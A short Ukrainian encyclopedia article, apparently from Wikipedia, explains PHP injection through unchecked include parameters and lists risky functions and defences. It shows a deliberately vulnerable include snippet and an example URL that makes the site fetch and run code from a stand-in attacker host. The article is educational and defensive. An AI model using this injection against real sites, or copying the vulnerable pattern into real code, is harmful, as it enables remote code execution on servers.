PHP-ін'єкція
PHP-ін'єкція (англ. PHP injection) — один із способів злому вебсайтів, що працюють на PHP, який полягає у виконанні стороннього коду на серверній стороні. Потенційно небезпечними функціями є:
- eval(),
- preg_replace() (з модифікатором «e»),
- require_once(),
- include_once(),
- include(),
- require(),
- create_function().
PHP-ін'єкція стає можливою, якщо вхідні параметри приймаються і використовуються без перевірки.
Приклад
<? ... $module = $_GET['module']; include ($module.'.php'); ... ?>
Цей скрипт уразливий, оскільки до вмісту змінної $module
просто додається «.php» та підключається файл.
Зломщик може на своєму сайті створити файл, що містить PHP-код (http://hackersite.com/inc.php
), і зайшовши на сайт за посиланням на зразок http://mysite.com/index.php?module=http://hackersite.com/inc
виконати будь-які PHP-команди.
Способи захисту
Існує декілька способів захисту від такої атаки:
- Перевіряти, чи не містить змінна
$module
сторонні символи:
<? ... $module = $_GET['module']; if (strpbrk($module, '. ?/:') ) die('Blocked'); include $module. '.php'; ... ?>
- Перевіряти, що
$module
присвоєно одне з допустимих значень:
<? ... $module = $_GET['module']; $arr = array('main', 'about','links','forum'); if (!in_array($module, $arr) ) $module = $arr[0]; include $module. '.php' ; ... ?>
Цей спосіб є ефективнішим.
PHP надає також можливість відключення використання віддалених файлів, це реалізується шляхом зміни значення опції allow_url_fopen
на Off у файлі конфігурації сервера php.ini
.
Див. також
Посилання
- Сторінка документації PHP, присвячена безпеці [Архівовано 10 лютого 2012 у Wayback Machine.]